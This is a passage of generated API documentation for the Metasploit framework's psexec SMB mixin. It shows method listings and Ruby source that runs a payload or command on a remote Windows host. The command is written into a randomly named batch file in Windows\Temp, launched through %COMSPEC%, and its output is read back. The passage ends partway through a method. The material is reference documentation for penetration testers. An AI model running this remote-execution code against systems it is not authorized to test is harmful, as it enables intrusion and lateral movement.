<span class="summary_signature">
<a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {}) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#mof_upload-instance_method" title="#mof_upload (instance method)">#<strong>mof_upload</strong>(smb_share) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#native_upload-instance_method" title="#native_upload (instance method)">#<strong>native_upload</strong>(smb_share, filename, service_encoder) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#powershell_installed%3F-instance_method" title="#powershell_installed? (instance method)">#<strong>powershell_installed?</strong>(smb_share, psh_path) &#x21d2; Boolean </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#psexec-instance_method" title="#psexec (instance method)">#<strong>psexec</strong>(command, disconnect = true) &#x21d2; Boolean </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Executes a single windows command.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#service_description-instance_method" title="#service_description (instance method)">#<strong>service_description</strong> &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Retrieve the SERVICE_DESCRIPTION option.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#service_name-instance_method" title="#service_name (instance method)">#<strong>service_name</strong> &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Retrieve the SERVICE_NAME option, generate a random one if not already set.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#smb_read_file-instance_method" title="#smb_read_file (instance method)">#<strong>smb_read_file</strong>(smbshare, host, file) &#x21d2; String<sup>?</sup> </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Retrieves output from the executed command.</p>
</div></span>
</li>
</ul>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Kerberos/ServiceAuthenticator/Options.html" title="Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options (module)">Kerberos::ServiceAuthenticator::Options</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../Kerberos/ServiceAuthenticator/Options.html#kerberos_auth_options-instance_method" title="Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options#kerberos_auth_options (method)">#kerberos_auth_options</a></span>, <span class='object_link'><a href="../../Kerberos/ServiceAuthenticator/Options.html#kerberos_clock_skew_seconds-instance_method" title="Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options#kerberos_clock_skew_seconds (method)">#kerberos_clock_skew_seconds</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Kerberos/Ticket/Storage.html" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage (module)">Kerberos::Ticket::Storage</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../Kerberos/Ticket/Storage.html#kerberos_storage_options-instance_method" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage#kerberos_storage_options (method)">#kerberos_storage_options</a></span>, <span class='object_link'><a href="../../Kerberos/Ticket/Storage.html#kerberos_ticket_storage-instance_method" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage#kerberos_ticket_storage (method)">#kerberos_ticket_storage</a></span>, <span class='object_link'><a href="../../Kerberos/Ticket/Storage.html#store_ccache-class_method" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache (method)">store_ccache</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../Client.html" title="Msf::Exploit::Remote::SMB::Client (module)">Msf::Exploit::Remote::SMB::Client</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../Client.html#connect-instance_method" title="Msf::Exploit::Remote::SMB::Client#connect (method)">#connect</a></span>, <span class='object_link'><a href="../Client.html#domain-instance_method" title="Msf::Exploit::Remote::SMB::Client#domain (method)">#domain</a></span>, <span class='object_link'><a href="../Client.html#domain_username_split-instance_method" title="Msf::Exploit::Remote::SMB::Client#domain_username_split (method)">#domain_username_split</a></span>, <span class='object_link'><a href="../Client.html#smb_create-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_create (method)">#smb_create</a></span>, <span class='object_link'><a href="../Client.html#smb_direct-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_direct (method)">#smb_direct</a></span>, <span class='object_link'><a href="../Client.html#smb_enumprinters-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_enumprinters (method)">#smb_enumprinters</a></span>, <span class='object_link'><a href="../Client.html#smb_enumprintproviders-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_enumprintproviders (method)">#smb_enumprintproviders</a></span>, <span class='object_link'><a href="../Client.html#smb_file_exist%3F-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_file_exist? (method)">#smb_file_exist?</a></span>, <span class='object_link'><a href="../Client.html#smb_file_rm-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_file_rm (method)">#smb_file_rm</a></span>, <span class='object_link'><a href="../Client.html#smb_fingerprint-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_fingerprint (method)">#smb_fingerprint</a></span>, <span class='object_link'><a href="../Client.html#smb_fingerprint_windows_lang-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_fingerprint_windows_lang (method)">#smb_fingerprint_windows_lang</a></span>, <span class='object_link'><a href="../Client.html#smb_fingerprint_windows_sp-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_fingerprint_windows_sp (method)">#smb_fingerprint_windows_sp</a></span>, <span class='object_link'><a href="../Client.html#smb_hostname-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_hostname (method)">#smb_hostname</a></span>, <span class='object_link'><a href="../Client.html#smb_lanman_netshareenumall-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_lanman_netshareenumall (method)">#smb_lanman_netshareenumall</a></span>, <span class='object_link'><a href="../Client.html#smb_login-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_login (method)">#smb_login</a></span>, <span class='object_link'><a href="../Client.html#smb_lookup_share_type-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_lookup_share_type (method)">#smb_lookup_share_type</a></span>, <span class='object_link'><a href="../Client.html#smb_netshareenumall-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_netshareenumall (method)">#smb_netshareenumall</a></span>, <span class='object_link'><a href="../Client.html#smb_netsharegetinfo-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_netsharegetinfo (method)">#smb_netsharegetinfo</a></span>, <span class='object_link'><a href="../Client.html#smb_open-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_open (method)">#smb_open</a></span>, <span class='object_link'><a href="../Client.html#smb_peer_lm-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_peer_lm (method)">#smb_peer_lm</a></span>, <span class='object_link'><a href="../Client.html#smb_peer_os-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_peer_os (method)">#smb_peer_os</a></span>, <span class='object_link'><a href="../Client.html#smb_srvsvc_netshareenumall-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_srvsvc_netshareenumall (method)">#smb_srvsvc_netshareenumall</a></span>, <span class='object_link'><a href="../Client.html#smb_srvsvc_netsharegetinfo-instance_method" title="Msf::Exploit::Remote::SMB::Client#smb_srvsvc_netsharegetinfo (method)">#smb_srvsvc_netsharegetinfo</a></span>, <span class='object_link'><a href="../Client.html#smbhost-instance_method" title="Msf::Exploit::Remote::SMB::Client#smbhost (method)">#smbhost</a></span>, <span class='object_link'><a href="../Client.html#splitname-instance_method" title="Msf::Exploit::Remote::SMB::Client#splitname (method)">#splitname</a></span>, <span class='object_link'><a href="../Client.html#unicode-instance_method" title="Msf::Exploit::Remote::SMB::Client#unicode (method)">#unicode</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Tcp.html" title="Msf::Exploit::Remote::Tcp (module)">Tcp</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../Tcp.html#chost-instance_method" title="Msf::Exploit::Remote::Tcp#chost (method)">#chost</a></span>, <span class='object_link'><a href="../../Tcp.html#cleanup-instance_method" title="Msf::Exploit::Remote::Tcp#cleanup (method)">#cleanup</a></span>, <span class='object_link'><a href="../../Tcp.html#connect-instance_method" title="Msf::Exploit::Remote::Tcp#connect (method)">#connect</a></span>, <span class='object_link'><a href="../../Tcp.html#connect_timeout-instance_method" title="Msf::Exploit::Remote::Tcp#connect_timeout (method)">#connect_timeout</a></span>, <span class='object_link'><a href="../../Tcp.html#cport-instance_method" title="Msf::Exploit::Remote::Tcp#cport (method)">#cport</a></span>, <span class='object_link'><a href="../../Tcp.html#disconnect-instance_method" title="Msf::Exploit::Remote::Tcp#disconnect (method)">#disconnect</a></span>, <span class='object_link'><a href="../../Tcp.html#handler-instance_method" title="Msf::Exploit::Remote::Tcp#handler (method)">#handler</a></span>, <span class='object_link'><a href="../../Tcp.html#lhost-instance_method" title="Msf::Exploit::Remote::Tcp#lhost (method)">#lhost</a></span>, <span class='object_link'><a href="../../Tcp.html#lport-instance_method" title="Msf::Exploit::Remote::Tcp#lport (method)">#lport</a></span>, <span class='object_link'><a href="../../Tcp.html#peer-instance_method" title="Msf::Exploit::Remote::Tcp#peer (method)">#peer</a></span>, <span class='object_link'><a href="../../Tcp.html#print_prefix-instance_method" title="Msf::Exploit::Remote::Tcp#print_prefix (method)">#print_prefix</a></span>, <span class='object_link'><a href="../../Tcp.html#proxies-instance_method" title="Msf::Exploit::Remote::Tcp#proxies (method)">#proxies</a></span>, <span class='object_link'><a href="../../Tcp.html#replicant-instance_method" title="Msf::Exploit::Remote::Tcp#replicant (method)">#replicant</a></span>, <span class='object_link'><a href="../../Tcp.html#rhost-instance_method" title="Msf::Exploit::Remote::Tcp#rhost (method)">#rhost</a></span>, <span class='object_link'><a href="../../Tcp.html#rport-instance_method" title="Msf::Exploit::Remote::Tcp#rport (method)">#rport</a></span>, <span class='object_link'><a href="../../Tcp.html#set_tcp_evasions-instance_method" title="Msf::Exploit::Remote::Tcp#set_tcp_evasions (method)">#set_tcp_evasions</a></span>, <span class='object_link'><a href="../../Tcp.html#shutdown-instance_method" title="Msf::Exploit::Remote::Tcp#shutdown (method)">#shutdown</a></span>, <span class='object_link'><a href="../../Tcp.html#ssl-instance_method" title="Msf::Exploit::Remote::Tcp#ssl (method)">#ssl</a></span>, <span class='object_link'><a href="../../Tcp.html#ssl_cipher-instance_method" title="Msf::Exploit::Remote::Tcp#ssl_cipher (method)">#ssl_cipher</a></span>, <span class='object_link'><a href="../../Tcp.html#ssl_verify_mode-instance_method" title="Msf::Exploit::Remote::Tcp#ssl_verify_mode (method)">#ssl_verify_mode</a></span>, <span class='object_link'><a href="../../Tcp.html#ssl_version-instance_method" title="Msf::Exploit::Remote::Tcp#ssl_version (method)">#ssl_version</a></span>, <span class='object_link'><a href="../../Tcp.html#sslkeylogfile-instance_method" title="Msf::Exploit::Remote::Tcp#sslkeylogfile (method)">#sslkeylogfile</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../DCERPC.html" title="Msf::Exploit::Remote::DCERPC (module)">DCERPC</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC.html#dcerpc_bind-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc_bind (method)">#dcerpc_bind</a></span>, <span class='object_link'><a href="../../DCERPC.html#dcerpc_call-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc_call (method)">#dcerpc_call</a></span>, <span class='object_link'><a href="../../DCERPC.html#dcerpc_getarch-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc_getarch (method)">#dcerpc_getarch</a></span>, <span class='object_link'><a href="../../DCERPC.html#dcerpc_handle-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc_handle (method)">#dcerpc_handle</a></span>, <span class='object_link'><a href="../../DCERPC.html#dcerpc_handle_target-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc_handle_target (method)">#dcerpc_handle_target</a></span>, <span class='object_link'><a href="../../DCERPC.html#unicode-instance_method" title="Msf::Exploit::Remote::DCERPC#unicode (method)">#unicode</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../DCERPC_LSA.html" title="Msf::Exploit::Remote::DCERPC_LSA (module)">DCERPC_LSA</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC_LSA.html#lsa_open_policy-instance_method" title="Msf::Exploit::Remote::DCERPC_LSA#lsa_open_policy (method)">#lsa_open_policy</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../DCERPC_MGMT.html" title="Msf::Exploit::Remote::DCERPC_MGMT (module)">DCERPC_MGMT</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_connect-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_connect (method)">#dcerpc_mgmt_connect</a></span>, <span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_inq_if_ids-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_inq_if_ids (method)">#dcerpc_mgmt_inq_if_ids</a></span>, <span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_inq_if_stats-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_inq_if_stats (method)">#dcerpc_mgmt_inq_if_stats</a></span>, <span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_inq_princ_name-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_inq_princ_name (method)">#dcerpc_mgmt_inq_princ_name</a></span>, <span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_is_server_listening-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_is_server_listening (method)">#dcerpc_mgmt_is_server_listening</a></span>, <span class='object_link'><a href="../../DCERPC_MGMT.html#dcerpc_mgmt_stop_server_listening-instance_method" title="Msf::Exploit::Remote::DCERPC_MGMT#dcerpc_mgmt_stop_server_listening (method)">#dcerpc_mgmt_stop_server_listening</a></span></p>
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../DCERPC_EPM.html" title="Msf::Exploit::Remote::DCERPC_EPM (module)">DCERPC_EPM</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC_EPM.html#dcerpc_endpoint_find_tcp-instance_method" title="Msf::Exploit::Remote::DCERPC_EPM#dcerpc_endpoint_find_tcp (method)">#dcerpc_endpoint_find_tcp</a></span>, <span class='object_link'><a href="../../DCERPC_EPM.html#dcerpc_endpoint_find_udp-instance_method" title="Msf::Exploit::Remote::DCERPC_EPM#dcerpc_endpoint_find_udp (method)">#dcerpc_endpoint_find_udp</a></span>, <span class='object_link'><a href="../../DCERPC_EPM.html#dcerpc_endpoint_list-instance_method" title="Msf::Exploit::Remote::DCERPC_EPM#dcerpc_endpoint_list (method)">#dcerpc_endpoint_list</a></span></p>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="display_name-instance_method">
#<strong>display_name</strong> &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Retrieve the SERVICE_DISPLAY_NAME option, generate a random one if not already set.</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>the display name of the service.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
52
53
54
55</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 52</span>
<span class='kw'>def</span> <span class='id identifier rubyid_display_name'>display_name</span>
<span class='ivar'>@display_name</span> <span class='op'>||=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_DISPLAY_NAME</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='ivar'>@display_name</span> <span class='op'>||=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="execute_command-instance_method">
#<strong>execute_command</strong>(text, bat, cmd) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
241
242
243
244
245
246
247
248
249
250
251
252
253</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 241</span>
<span class='kw'>def</span> <span class='id identifier rubyid_execute_command'>execute_command</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_bat'>bat</span><span class='comma'>,</span> <span class='id identifier rubyid_cmd'>cmd</span><span class='rparen'>)</span>
<span class='comment'># Try and execute the provided command
</span> <span class='id identifier rubyid_cmd'>cmd</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Post.html" title="Msf::Post (class)">Post</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Post/Windows.html" title="Msf::Post::Windows (module)">Windows</a></span></span><span class='period'>.</span><span class='id identifier rubyid_escape_cmd_literal'><span class='object_link'><a href="../../../../Post/Windows.html#escape_cmd_literal-class_method" title="Msf::Post::Windows.escape_cmd_literal (method)">escape_cmd_literal</a></span></span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='label'>spaces:</span> <span class='kw'>false</span><span class='rparen'>)</span>
<span class='id identifier rubyid_execute'>execute</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>%COMSPEC% /C echo </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'> ^&gt; %SYSTEMDRIVE%</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_text'>text</span><span class='embexpr_end'>}</span><span class='tstring_content'> &gt; </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_bat'>bat</span><span class='embexpr_end'>}</span><span class='tstring_content'> &amp; %COMSPEC% /C start %COMSPEC% /C </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_bat'>bat</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Executing the command: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_execute'>execute</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='kw'>return</span> <span class='id identifier rubyid_psexec'>psexec</span><span class='lparen'>(</span><span class='id identifier rubyid_execute'>execute</span><span class='rparen'>)</span>
<span class='kw'>rescue</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC.html" title="Rex::Proto::DCERPC (module)">DCERPC</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC/Exceptions.html" title="Rex::Proto::DCERPC::Exceptions (module)">Exceptions</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC/Exceptions/Error.html" title="Rex::Proto::DCERPC::Exceptions::Error (class)">Error</a></span></span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB.html" title="Rex::Proto::SMB (module)">SMB</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB/Exceptions.html" title="Rex::Proto::SMB::Exceptions (module)">Exceptions</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB/Exceptions/Error.html" title="Rex::Proto::SMB::Exceptions::Error (class)">Error</a></span></span><span class='comma'>,</span> <span class='const'>RubySMB</span><span class='op'>::</span><span class='const'>Error</span><span class='op'>::</span><span class='const'>RubySMBError</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_e'>e</span>
<span class='id identifier rubyid_elog'><span class='object_link'><a href="../../../../../top-level-namespace.html#elog-instance_method" title="#elog (method)">elog</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Unable to execute specified command</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rex</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../../../../Rex/Logging.html#LEV_3-constant" title="Rex::Logging::LEV_3 (constant)">LEV_3</a></span></span><span class='comma'>,</span> <span class='label'>error:</span> <span class='id identifier rubyid_e'>e</span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Unable to execute specified command: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>false</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="execute_command_payload-instance_method">
#<strong>execute_command_payload</strong>(smbshare) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 221</span>
<span class='kw'>def</span> <span class='id identifier rubyid_execute_command_payload'>execute_command_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='rparen'>)</span>
<span class='id identifier rubyid_text'>text</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\Windows\\Temp\\</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>..</span><span class='int'>16</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.txt</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_bat'>bat</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\Windows\\Temp\\</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>..</span><span class='int'>16</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.bat</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_command'>command</span> <span class='op'>=</span> <span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_encoded'>encoded</span>
<span class='id identifier rubyid_output'>output</span> <span class='op'>=</span> <span class='id identifier rubyid_execute_command_with_output'>execute_command_with_output</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_bat'>bat</span><span class='comma'>,</span> <span class='id identifier rubyid_command'>command</span><span class='comma'>,</span> <span class='id identifier rubyid_smbshare'>smbshare</span><span class='comma'>,</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='comma'>,</span> <span class='label'>delay:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>CMD::DELAY</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span><span class='rparen'>)</span>
<span class='kw'>unless</span> <span class='id identifier rubyid_output'>output</span><span class='period'>.</span><span class='id identifier rubyid_nil?'>nil?</span>
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Command completed successfully!</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Output for \&quot;</span><span class='embexpr_beg'>#{</span> <span class='id identifier rubyid_command'>command</span> <span class='embexpr_end'>}</span><span class='tstring_content'>\&quot;:\n</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_line'>print_line</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_output'>output</span><span class='embexpr_end'>}</span><span class='tstring_content'>\n</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_report_note'>report_note</span><span class='lparen'>(</span>
<span class='symbol'>:rhost</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='comma'>,</span>
<span class='symbol'>:rport</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_port'>port</span><span class='comma'>,</span>
<span class='symbol'>:type</span> <span class='op'>=&gt;</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>psexec_command</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='symbol'>:name</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_command'>command</span><span class='comma'>,</span>
<span class='symbol'>:data</span> <span class='op'>=&gt;</span> <span class='lbrace'>{</span> <span class='symbol'>:command_output</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_output'>output</span> <span class='rbrace'>}</span>
<span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="execute_command_with_output-instance_method">
#<strong>execute_command_with_output</strong>(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 255</span>
<span class='kw'>def</span> <span class='id identifier rubyid_execute_command_with_output'>execute_command_with_output</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_bat'>bat</span><span class='comma'>,</span> <span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_r_ip'>r_ip</span><span class='comma'>,</span> <span class='label'>delay:</span> <span class='int'>0</span><span class='comma'>,</span> <span class='label'>retries:</span> <span class='int'>0</span><span class='rparen'>)</span>
<span class='id identifier rubyid_res'>res</span> <span class='op'>=</span> <span class='id identifier rubyid_execute_command'>execute_command</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_bat'>bat</span><span class='comma'>,</span> <span class='id identifier rubyid_cmd'>cmd</span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_res'>res</span>
<span class='kw'>for</span> <span class='id identifier rubyid_i'>i</span> <span class='kw'>in</span> <span class='int'>0</span><span class='op'>..</span><span class='lparen'>(</span><span class='id identifier rubyid_retries'>retries</span><span class='rparen'>)</span>
<span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='period'>.</span><span class='id identifier rubyid_sleep'>sleep</span><span class='lparen'>(</span><span class='id identifier rubyid_delay'>delay</span><span class='rparen'>)</span>
<span class='comment'># if the output file is still locked then the program is still likely running
